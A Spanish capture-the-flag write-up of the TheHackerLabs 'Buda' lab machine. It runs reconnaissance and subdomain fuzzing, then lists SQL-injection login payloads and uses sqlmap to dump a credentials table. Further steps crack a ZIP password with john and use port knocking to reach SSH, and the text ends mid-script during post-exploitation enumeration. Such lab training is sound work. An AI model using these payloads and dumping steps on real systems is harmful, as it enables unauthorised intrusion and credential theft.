Buda - TheHackerLabs
Esta fue una máquina un poco complicada. Después de analizar los escaneos y de analizar la página web activa del puerto 80, descubrimos el archivo robots.txt que contiene un dominio. Registramos ese dominio en el /etc/hosts
y los visitamos, encontrando una página en mantenimiento. Al no encontrar nada en el dominio, aplicamos Fuzzing para encontrar subdominios, encontrando uno que, al registrar en el /etc/hosts
, vemos que muestra un login. Haciendo pruebas en el login, descubrimos que es vulnerable Inyecciones SQL, por lo que usamos SQLMAP para dumpear las bases de datos, siendo que vemos una que contiene credenciales válidas para el servicio FTP. Enumeramos el FTP, obteniendo un archivo de texto con números y un archivo ZIP que logramos crackear para ver su contenido. Resulta que el archivo ZIP tenía un reporte de una auditoria interna, que a su vez, el reporte contiene un usuario y contraseña que son válidos para el servicio SSH, pero este servicio no está abierto, siendo imposible su acceso. Investigando un poco, descubrimos que los números corresponden a una secuencia de puertos que podemos usar para aplicar Port Knocking para habilitar el puerto 22 (servicio SSH). Encontramos la secuencia correcta de puertos, activando el puerto 22 y logramos ganar acceso a la máquina víctima vía SSH. Dentro, vemos que nuestro usuario pertenece al grupo Docker. Utilizamos la guía de GTFOBins para usar un comando de Docker que crea una montura de la raíz de la máquina víctima en un contenedor, en donde cualquier cambio aplicado, se refleja fuera del contenedor, siendo así que escalamos privilegios y nos convertimos en Root.
Herramientas utilizadas:
- ping
- nmap
- nikto
- wappalizer
- ffuf
- gobuster
- ffuf
- sqlmap
- ftp
- cat
- unzip
- zip2john
- JohnTheRipper
- sudo
- apt
- knock
- ssh
- wget
- pip
- python
- grep
- find
- id
- docker
- chmod
- bash
Índice
- Recopilación de Información
- Análisis de Vulnerabilidades
- Explotación de Vulnerabilidades
- Aplicando Inyecciones SQL en Login de Subdominio
- Automatizando Inyecciones SQL con SQLMAP para Dumpear Datos de Bases de Datos y Ganando Acceso a Servicio FTP
- Enumeración de Servicio FTP y Crackeo de Archivo ZIP
- Aplicando Port Knocking para Levantar Temporalmente Servicio SSH en Puerto 22
- Post Explotación
- Links de Investigación
Recopilación de Información
Traza ICMP
Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veremos que SO opera en la máquina.
ping -c 4 192.168.100.90
PING 192.168.100.90 (192.168.100.90) 56(84) bytes of data.
64 bytes from 192.168.100.90: icmp_seq=1 ttl=64 time=2.67 ms
64 bytes from 192.168.100.90: icmp_seq=2 ttl=64 time=1.09 ms
64 bytes from 192.168.100.90: icmp_seq=3 ttl=64 time=0.862 ms
64 bytes from 192.168.100.90: icmp_seq=4 ttl=64 time=1.27 ms
--- 192.168.100.90 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3010ms
rtt min/avg/max/mdev = 0.862/1.472/2.674/0.708 ms
Por el TTL sabemos que la máquina usa Linux, hagamos los escaneos de puertos y servicios.
Escaneo de Puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.100.90 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-08 11:03 CST
Initiating ARP Ping Scan at 11:03
Scanning 192.168.100.90 [1 port]
Completed ARP Ping Scan at 11:03, 0.07s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 11:03
Scanning 192.168.100.90 [65535 ports]
Discovered open port 21/tcp on 192.168.100.90
Discovered open port 80/tcp on 192.168.100.90
Completed SYN Stealth Scan at 11:04, 38.34s elapsed (65535 total ports)
Nmap scan report for 192.168.100.90
Host is up, received arp-response (0.00074s latency).
Scanned at 2025-09-08 11:03:24 CST for 38s
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 64
80/tcp open http syn-ack ttl 64
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 38.64 seconds
Raw packets sent: 131078 (5.767MB) | Rcvd: 14 (680B)
Parámetros | Descripción |
---|---|
-p- | Para indicarle un escaneo en ciertos puertos. |
–open | Para indicar que aplique el escaneo en los puertos abiertos. |
-sS | Para indicar un TCP Syn Port Scan para que nos agilice el escaneo. |
–min-rate | Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000). |
-vvv | Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo. |
-n | Para indicar que no se aplique resolución dns para agilizar el escaneo. |
-Pn | Para indicar que se omita el descubrimiento de hosts. |
-oG | Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts. |
Solo hay 2 puertos abiertos y me da curiosidad ver el puerto 21 abierto, pero no el puerto 22.
Escaneo de Servicios
nmap -sCV -p 21,80 192.168.100.90 -oN targeted
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-08 11:05 CST
Nmap scan report for 192.168.100.90
Host is up (0.00078s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.52 seconds
Parámetros | Descripción |
---|---|
-sC | Para indicar un lanzamiento de scripts básicos de reconocimiento. |
-sV | Para identificar los servicios/versión que están activos en los puertos que se analicen. |
-p | Para indicar puertos específicos. |
-oN | Para indicar que el output se guarde en un fichero. Lo llame targeted. |
El puerto 21 que es del servicio FTP no tiene activo el usuario anonymous, por lo que no podremos entrar ahí, a menos que tengamos credenciales válidas.
La página web activa del puerto 80 solamente muestra la página por defecto de Apache2.
Quizá encontremos algo oculto ahí.
Análisis de Vulnerabilidades
Analizando Servicio HTTP
Entremos:
Pues sí, solo es la página por defecto de Apache2.
Revisando el código fuente y las tecnologías, no encontraremos nada.
Y si aplicamos Fuzzing, tampoco encontraremos algo.
Para estos casos, una buena herramienta para estos casos puede ser nikto, pues puede que encuentre algo oculto por ahí:
nikto -h http://192.168.100.90
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.100.90
+ Target Hostname: 192.168.100.90
+ Target Port: 80
+ Start Time: 2025-09-08 11:10:32 (GMT-6)
---------------------------------------------------------------------------
+ Server: Apache/2.4.52 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /robots.txt: contains 1 entry which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt
+ Apache/2.4.52 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Server may leak inodes via ETags, header found with file /, inode: 29af, size: 61750bd07b0da, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: HEAD, GET, POST, OPTIONS .
+ 8103 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time: 2025-09-08 11:11:12 (GMT-6) (40 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Encontro el archivo robots.txt.
Veamos qué contiene:
Encontramos un dominio, así que vamos a registrarlo en el /etc/hosts
:
echo "192.168.100.90 budasec.thl" >> /etc/hosts
Ahora, entremos a ese dominio:
Es una página en desarrollo que muestra un contador de cuantos días faltan para que estén de regreso.
Veamos qué nos dice Wappalizer:
No hay mucho que destacar.
Ahí podemos ver un input, pero su botón de acción no funciona, pues no tiene una acción asignada:
No encontraremos algo más.
Te diría que aplicáramos Fuzzing, pero no encontraremos nada de directorios o archivos ocultos.
Nikto tampoco encontrará algo, por lo que nos quedamos con pocas acciones.
Algo que podemos hacer, ya que hay un dominio involucrado, es aplicar Fuzzing al dominio para encontrar subdominios.
Fuzzing a Dominio para Encontrar Subdominios
Primero, probaremos con la herramienta ffuf:
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://budasec.thl -H "Host: FUZZ.budasec.thl" -t 300 -fw 3496
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://budasec.thl
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.budasec.thl
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 300
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 3496
________________________________________________
dev [Status: 200, Size: 264, Words: 47, Lines: 12, Duration: 16ms]
:: Progress: [4989/4989] :: Job [1/1] :: 201 req/sec :: Duration: [0:00:16] :: Errors: 0 ::
Ahora probemos con gobuster:
gobuster vhost -u http://budasec.thl/ -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -t 300
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://budasec.thl/
[+] Method: GET
[+] Threads: 300
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
[+] Append Domain: true
[+] Exclude Hostname Length: false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
dev.budasec.thl Status: 200 [Size: 264]
Progress: 4989 / 4989 (100.00%)
===============================================================
Finished
===============================================================
Y por último, la herramienta wfuzz:
wfuzz -c --hc=404 --hh=10671 -t 300 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host: FUZZ.budasec.thl" http://budasec.thl
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://budasec.thl/
Total requests: 19966
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000019: 200 11 L 20 W 263 Ch "dev"
000009532: 400 10 L 35 W 299 Ch "#www"
000010581: 400 10 L 35 W 299 Ch "#mail"
Total time: 0
Processed Requests: 19966
Filtered Requests: 19963
Requests/sec.: 0
En las 3 opciones hemos encontrado 1 subdominio.
Vamos a registrarlo en el /etc/hosts
y entremos a ese subdominio:
Encontramos un login.
Como no tenemos credenciales válidas, podemos intentar probar Inyecciones SQL.
Explotación de Vulnerabilidades
Aplicando Inyecciones SQL en Login de Subdominio
Imaginemos que la consulta que se hace en el login es la siguiente:
SELECT * FROM users WHERE username = 'usuario' and password = 'contraseña';
En este caso debemos identificar qué campo es vulnerable, si el campo del usuario o el de la contraseña.
Lo principal que podemos hacer es, provocar un error en la consulta probando en cada campo o en ambos, y podemos hacerlo con alguna de las siguientes inyecciones:
'
"
#
;
)
admin'-- -
admin'--
admin' #
admin' or 1=1--
admin' or 1=1#
admin' or '1'='1
admin' or '1'='1'-- -
admin' or 1=1/*
admin' /*
admin')-- -
admin' ) or '1'='1--
admin' ) or ('1'='1--
Resulta que las inyecciones:
'
admin'--
admin' or 1=1--
admin' or 1=1/*
admin' /*
admin')-- -
admin' ) or '1'='1--
Provocan un error y que solo sirven en el campo del usuario:
Podemos decir que el campo vulnerable es el campo del usuario.
Probando otras inyecciones, nos percatamos de que sí o sí debemos meter un usuario válido para que funcione la inyección, por lo que es posible que se esté aplicando un filtro en donde se comprueba si el usuario existe o no dentro de la base de datos.
Esto porque si usamos la siguiente inyección SQL basada en tiempo, funciona:
admin' and sleep(5)-- -
Mientras que una inyección sin ese usuario o usando otro o un texto random, la inyección no funcionará:
test' and sleep(5)-- -
' and sleep(5)-- -
kmuvxqw' and sleep(5)-- -
Curiosamente, este usuario tiene una credencial débil, siendo admin123, pero cuando lo usamos en el login, nos da esto:
Entonces, es mejor dumpear los datos de las bases de datos.
Vamos a automatizar el dumpeo de datos con SQLMAP.
Automatizando Inyecciones SQL con SQLMAP para Dumpear Datos de Bases de Datos y Ganando Acceso a Servicio FTP
Comprobemos que el formulario es vulnerable con SQLMAP:
sqlmap -u 'http://dev.budasec.thl/' --batch --forms
...
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: boolean-based blind
Title: MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: username=admin' AND EXTRACTVALUE(7546,CASE WHEN (7546=7546) THEN 7546 ELSE 0x3A END)-- iJyx&password=admin
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: username=admin' AND GTID_SUBSET(CONCAT(0x71706a6a71,(SELECT (ELT(3738=3738,1))),0x716a7a7a71),3738)-- ttTK&password=admin
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin' AND (SELECT 3251 FROM (SELECT(SLEEP(5)))OSrU)-- aUNb&password=admin
---
do you want to exploit this SQL injection? [Y/n] Y
[16:03:06] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 22.04 (jammy)
web application technology: Apache 2.4.52
back-end DBMS: MySQL >= 5.6
....
Parámetros | Descripción |
---|---|
-u | Define la URL objetivo. |
–batch | Ejecuta el comando sin solicitar confirmaciones al usuario. |
–forms | Analiza y prueba formularios en la URL objetivo. |
Muy bien, si es vulnerable.
Ahora obtengamos las bases de datos existentes:
sqlmap -u 'http://dev.budasec.thl/' --batch --forms --dbs
...
available databases [5]:
[*] buda
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
...
Parámetros | Descripción |
---|---|
-u | Define la URL objetivo. |
–batch | Ejecuta el comando sin solicitar confirmaciones al usuario. |
–forms | Analiza y prueba formularios en la URL objetivo. |
–dbs | Enumera todas las bases de datos disponibles. |
Obtengamos las tablas de la BD buda:
sqlmap -u 'http://dev.budasec.thl/' --batch --forms -D buda --tables
...
[16:03:33] [INFO] fetching tables for database: 'buda'
[16:03:33] [INFO] resumed: 'users'
Database: buda
[1 table]
+-------+
| users |
+-------+
Parámetros | Descripción |
---|---|
-u | Define la URL objetivo. |
–batch | Ejecuta el comando sin solicitar confirmaciones al usuario. |
–forms | Analiza y prueba formularios en la URL objetivo. |
-D | Selecciona una base de datos especifica a enumerar. |
–tables | Enumera las tablas de una base de datos específica. |
Solo hay una tabla.
Vamos a dumpear todos los datos de esta tabla:
sqlmap -u 'http://dev.budasec.thl/' --batch --forms -D buda -T users --dump
...
Database: buda
Table: users
[4 entries]
+----+-----------------+----------+--------------------------------------------------------------+
| id | password | username | hashed_password |
+----+-----------------+----------+--------------------------------------------------------------+
| 1 | ftpu@sr123p@@s! | ftpuser | $2y$10$.gKHPvTvYkWfbRxtid10s.kgGWekExh9kx.Q/QMbaKQlH/ia6xx66 |
| 4 | admin123 | admin | $2y$10$GgGK5MsjTbGrjqkTsLXCcOD0dui1zAXhTE72lDVB.c4igQQwHdP5a |
| 5 | password1 | user1 | $2y$10$6f8FfvozmWozwY3zeFvUCutLq4421U4RqTpXIfzITrrKG4KlnqWbm |
| 6 | password2 | user2 | $2y$10$UrcCrnPw7IdNp8minBpPC.HeXiQTlJ0dmVz0hWhqUfmcmRk6GdCg6 |
+----+-----------------+----------+--------------------------------------------------------------+
...
Parámetros | Descripción |
---|---|
-u | Define la URL objetivo. |
–batch | Ejecuta el comando sin solicitar confirmaciones al usuario. |
–forms | Analiza y prueba formularios en la URL objetivo. |
-D | Selecciona una base de datos específica a enumerar. |
-T | Selecciona una tabla específica a enumerar. |
–dump | Extraer datos de una tabla específica. |
Podemos ver las credenciales de acceso para el servicio FTP.
Vamos a probarlas:
ftp 192.168.100.90
Connected to 192.168.100.90.
220 (vsFTPd 3.0.5)
Name (192.168.100.90:berserkwings): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
Estamos dentro.
Enumeración de Servicio FTP y Crackeo de Archivo ZIP
Algo curioso pasa cuando intentamos listar los archivos:
ftp> ls
229 Entering Extended Passive Mode (|||25602|)
^C
receive aborted. Waiting for remote to finish abort.
ftp>
Parece que estamos en el modo pasivo, lo que impide que podamos listar los archivos.
Simplemente, hay que apagarlo con el comando passive:
ftp> passive
Passive mode: off; fallback to active mode: off.
ftp> ls -la
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
dr-xr-x--- 3 1001 1001 4096 Jun 07 2024 .
dr-xr-x--- 3 1001 1001 4096 Jun 07 2024 ..
lrwxrwxrwx 1 0 0 9 Jun 07 2024 .bash_history -> /dev/null
-rw-r--r-- 1 1001 1001 220 May 01 2024 .bash_logout
-rw-r--r-- 1 1001 1001 3771 May 01 2024 .bashrc
-rw-r--r-- 1 1001 1001 807 May 01 2024 .profile
drwxr-xr-x 6 1001 1001 4096 Jun 06 2024 ftp
Listo, ya podemos ver los archivos y ahí está un directorio llamado ftp.
Entremos ahí y veamos qué archivos existen:
ftp> cd ftp
ftp> ls -la
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
drwxr-xr-x 6 1001 1001 4096 Jun 06 2024 .
dr-xr-x--- 3 1001 1001 4096 Jun 07 2024 ..
drwxr-xr-x 2 0 0 4096 Jun 06 2024 config
drwxr-xr-x 3 0 0 4096 Jun 06 2024 documents
drwxr-xr-x 2 1001 1001 4096 Jun 06 2024 downloads
drwxr-xr-x 2 1001 1001 4096 Jun 06 2024 uploads
226 Directory send OK.
Vemos varios directorios.
Pero encontraremos archivos en el directorio documents:
ftp> cd documents
250 Directory successfully changed.
ftp> ls -la
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
drwxr-xr-x 3 0 0 4096 Jun 06 2024 .
drwxr-xr-x 6 1001 1001 4096 Jun 06 2024 ..
-rw-r--r-- 1 0 0 2 Jun 06 2024 README.md
drwxr-xr-x 2 0 0 4096 Jun 06 2024 backup_2022
-rw-r--r-- 1 0 0 499 Jun 06 2024 decrypt.py
-rw-r--r-- 1 0 0 1870 Jun 06 2024 documents.zip
-rw-r--r-- 1 0 0 15 Jun 06 2024 knock
226 Directory send OK.
Vamos a descargar los archivos decrypt.py, documents.zip y knock:
ftp> get decrypt.py
ftp> get documents.zip
ftp> get knock
Primero, leamos el script de Python:
cat decrypt.py
import time
def descifrar_datos(datos_encriptados, clave):
print("Iniciando proceso de descifrado ultra-seguro...")
time.sleep(2)
print("Descifrado completo.")
return "Datos descifrados con éxito."
def main():
datos_encriptados = "9F&3j$!w@KLnOp$9F&3j$!w@KLnOp$9F&3j$!w@KLnOp$"
clave = "clave_ultra_secreta"
datos_descifrados = descifrar_datos(datos_encriptados, clave)
print("Los datos descifrados son:", datos_descifrados)
if __name__ == "__main__":
main()
Este script pareciera que descifra algún dato, pero no hace nada más que aplicar un sleep()
por 2 segundos.
Podemos leer el archivo knock:
cat knock
9467
1739
8745
Son números, pero no sabemos de qué o para qué son.
Por último, si tratamos de descomprimir el archivo ZIP, nos pedirá una contraseña:
unzip documents.zip
Archive: documents.zip
[documents.zip] audit2024 password:
Vamos a crackearlo.
Obtengamos el hash del archivo ZIP con zip2john:
zip2john documents.zip > hash
ver 2.0 efh 5455 efh 7875 documents.zip/audit2024 PKZIP Encr: TS_chk, cmplen=1686, decmplen=4059, crc=BA0AACAB ts=6BDB cs=6bdb type=8
Lo crackeamos con la herramienta JohnTheRipper:
john -w:/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manuelito (documents.zip/audit2024)
1g 0:00:00:00 DONE (2025-09-08 12:58) 25.00g/s 307200p/s 307200c/s 307200C/s 123456..hawkeye
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Ya podemos descomprimir el archivo:
unzip documents.zip
Archive: documents.zip
[documents.zip] audit2024 password:
inflating: audit2024
Nos da un archivo de texto que parece ser un reporte de una auditoria a una empresa.
Al leerlo, hay una parte que menciona a un usuario y su contraseña:
cat audit2024
Audit Report
Company: ABC Manufacturing Inc.
Period: Fiscal Year 2023
Auditor: XYZ Auditing Services
Date: June 5, 2024
Executive Summary
XYZ Auditing Services conducted an independent audit of the financial statements...
...
...
Identified Risks:
Exposure to foreign currency exchange fluctuations due to international operations.
Dependency on a limited number of key suppliers for raw materials.
Exposed yolanda user credentials:y@lAnd361!
Mitigation Strategies: The company has partially implemented strategies to mitigate these risks but further improvement is recommended.
Recommendations
...
Dichas credenciales no funcionan en el servicio FTP, por lo que puede que funcionen en el servicio SSH, pero su puerto no está activo.
Debemos investigar qué podemos hacer en este caso.
Aplicando Port Knocking para Levantar Temporalmente Servicio SSH en Puerto 22
Investigando un poco, el archivo knock nos da una pista de qué podemos aplicar.
¿Qué es el Port Knocking?
Port Knocking |
---|
El port knocking es una técnica de seguridad que se usa mucho en entornos de administración de servidores. Es un mecanismo en el que un firewall mantiene cerrado un puerto (ejemplo: 22/SSH) y solo lo abre si detecta que un cliente realiza una secuencia predefinida de conexiones a ciertos puertos (los “golpes” o knocks). |
La idea es que tenemos que usar una secuencia de números para abrir un puerto, que supongamos es el puerto 22 (servicio SSH) siendo que ya tenemos algunos números que encontramos en el servicio FTP.
Esto se puede aplicar de varias maneras como con las herramientas knock, nmap, nc y una herramienta llamada KnockIt.
Vamos a realizar el Kocking con la herramienta knock y KnockIt. Esto es porque es más fácil de aplicarlo con estas herramientas, ya que con nmap y nc, se deben dar los números 1 por 1 y no todos de una vez, por lo que nos tardaríamos más en descubrir la secuencia correcta.
Aplicando Port Knocking con Herramienta knock
Instalemos la herramienta knock:
sudo apt install knockd
Su uso es muy simple, solo tenemos que darle la IP de la máquina y los números a usar en el Knocking:
knock 192.168.100.90 9467 1739 8745
Ahora podemos comprobar si se abrió el puerto 22 con nmap:
nmap -p 22 -sCV 192.168.100.90
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-08 18:15 CST
Nmap scan report for budasec.thl (192.168.100.90)
Host is up (0.00094s latency).
PORT STATE SERVICE VERSION
22/tcp filtered ssh
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.67 seconds
No se abrió.
Podemos intentar varias secuencias, siendo la siguiente la que abre el puerto 22:
knock 192.168.100.90 8745 9467 1739
Compruébalo con nmap:
nmap -p 22 -sCV 192.168.100.90
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-08 18:16 CST
Nmap scan report for budasec.thl (192.168.100.90)
Host is up (0.0011s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 5e:7a:33:3e:a4:41:3c:4b:4e:cc:9e:3c:ce:6e:86:b2 (ECDSA)
|_ 256 8e:56:95:61:f5:77:4e:17:37:29:35:0f:a7:33:98:1a (ED25519)
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.47 seconds
Comprobemos si sirven las credenciales que encontramos en este servicio:
ssh yolanda@192.168.100.90
yolanda@192.168.100.90's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)
...
Last login: Fri Jun 7 16:00:19 2024
-bash-5.1$ whoami
yolanda
Estamos dentro.
Aquí encontraremos la flag del usuario:
-bash-5.1$ ls
user.txt
-bash-5.1$ cat user.txt
...
Aplicando Port Knocking con Herramienta KnockIt
Aquí puedes encontrar el repositorio de la herramienta:
Descarguemos la herramienta con wget:
wget https://raw.githubusercontent.com/eliemoutran/KnockIt/refs/heads/master/knockit.py
Si es necesario, instala el módulo itertools:
pip install itertools
Lo ejecutamos con python y vemos su forma de uso:
python knockit.py
******************************************************
* *
* _ __ _ _____ _ *
* | |/ / | | |_ _|| | *
* | ' / _ __ ___ ___ | | __ | | | |_ *
* | < | '_ \ / _ \ / __|| |/ / | | | __| *
* | . \ | | | || (_) || (__ | < _| |_ | |_ *
* |_|\_\|_| |_| \___/ \___||_|\_\|_____| \__| *
* *
* *
* KnockIt v1.0 *
* Coded by thebish0p *
* https://github.com/thebish0p/ *
******************************************************
usage: knockit.py [-h] [-d DELAY] [-b] host ports [ports ...]
knockit.py: error: the following arguments are required: host, ports
Podemos usar el parámetro -b para aplicar fuerza bruta y tener un listado de varias secuencias que podemos probar:
python knockit.py -b 192.168.100.90 9467 1739 8745
******************************************************
* *
* _ __ _ _____ _ *
* | |/ / | | |_ _|| | *
* | ' / _ __ ___ ___ | | __ | | | |_ *
* | < | '_ \ / _ \ / __|| |/ / | | | __| *
* | . \ | | | || (_) || (__ | < _| |_ | |_ *
* |_|\_\|_| |_| \___/ \___||_|\_\|_____| \__| *
* *
* *
* KnockIt v1.0 *
* Coded by thebish0p *
* https://github.com/thebish0p/ *
******************************************************
[+] Knockit started attacking with all the possible combinations
******************************************************
[+] Knocking with sequence: (9467, 1739, 8745)
[+] Knocking on port 192.168.100.90:9467
[+] Knocking on port 192.168.100.90:1739
[+] Knocking on port 192.168.100.90:8745
******************************************************
[+] Knocking with sequence: (9467, 8745, 1739)
[+] Knocking on port 192.168.100.90:9467
[+] Knocking on port 192.168.100.90:8745
[+] Knocking on port 192.168.100.90:1739
******************************************************
[+] Knocking with sequence: (1739, 9467, 8745)
[+] Knocking on port 192.168.100.90:1739
[+] Knocking on port 192.168.100.90:9467
[+] Knocking on port 192.168.100.90:8745
******************************************************
[+] Knocking with sequence: (1739, 8745, 9467)
[+] Knocking on port 192.168.100.90:1739
[+] Knocking on port 192.168.100.90:8745
[+] Knocking on port 192.168.100.90:9467
******************************************************
[+] Knocking with sequence: (8745, 9467, 1739)
[+] Knocking on port 192.168.100.90:8745
[+] Knocking on port 192.168.100.90:9467
[+] Knocking on port 192.168.100.90:1739
******************************************************
[+] Knocking with sequence: (8745, 1739, 9467)
[+] Knocking on port 192.168.100.90:8745
[+] Knocking on port 192.168.100.90:1739
[+] Knocking on port 192.168.100.90:9467
******************************************************
Podría que esto haya abierto el puerto 22, pero en mi caso no fue así.
Pero podemos probar las secuencias que usó la herramienta, siendo que descubrimos la misma secuencia para activar el puerto 22:
python knockit.py 192.168.100.90 8745 9467 1739
******************************************************
* *
* _ __ _ _____ _ *
* | |/ / | | |_ _|| | *
* | ' / _ __ ___ ___ | | __ | | | |_ *
* | < | '_ \ / _ \ / __|| |/ / | | | __| *
* | . \ | | | || (_) || (__ | < _| |_ | |_ *
* |_|\_\|_| |_| \___/ \___||_|\_\|_____| \__| *
* *
* *
* KnockIt v1.0 *
* Coded by thebish0p *
* https://github.com/thebish0p/ *
******************************************************
[+] Knocking on port 192.168.100.90:8745
[+] Knocking on port 192.168.100.90:9467
[+] Knocking on port 192.168.100.90:1739
Y lo comprobamos con nmap:
nmap -p 22 -sCV 192.168.100.90
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-08 18:21 CST
Nmap scan report for budasec.thl (192.168.100.90)
Host is up (0.00100s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 5e:7a:33:3e:a4:41:3c:4b:4e:cc:9e:3c:ce:6e:86:b2 (ECDSA)
|_ 256 8e:56:95:61:f5:77:4e:17:37:29:35:0f:a7:33:98:1a (ED25519)
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.44 seconds
Comprobemos si sirven las credenciales que encontramos en este servicio:
ssh yolanda@192.168.100.90
yolanda@192.168.100.90's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)
...
Last login: Fri Jun 7 16:00:19 2024
-bash-5.1$ whoami
yolanda
Estamos dentro.
Aquí encontraremos la flag del usuario:
-bash-5.1$ ls
user.txt
-bash-5.1$ cat user.txt
...
Post Explotación
Enumeración de la Máquina Víctima
En el directorio /var/www/html
encontraremos los archivos de la página web:
-bash-5.1$ ls -la /var/www/html/
total 32
drwxr-xr-x 3 root root 4096 Jun 6 2024 .
drwxr-xr-x 3 root root 4096 Apr 30 2024 ..
-rw-r--r-- 1 root root 10671 Apr 30 2024 index.html
-rw-r--r-- 1 root root 487 Apr 30 2024 mysql-connector-python.py
-rw-r--r-- 1 root root 33 Apr 30 2024 robots.txt
drwxr-xr-x 7 www-data www-data 4096 May 1 2024 xyprob
Si revisamos ese archivo mysql-connector-python.py, veremos las credenciales de acceso a la BD ctf_db:
-bash-5.1$ cat mysql-connector-python.py
import mysql.connector
# Conexión a la base de datos
db_connection = mysql.connector.connect(
host="localhost",
user="root",
password="",
database="ctf_db"
)
# Crear un cursor para ejecutar consultas SQL
cursor = db_connection.cursor()
# Ejecutar una consulta SQL (ejemplo)
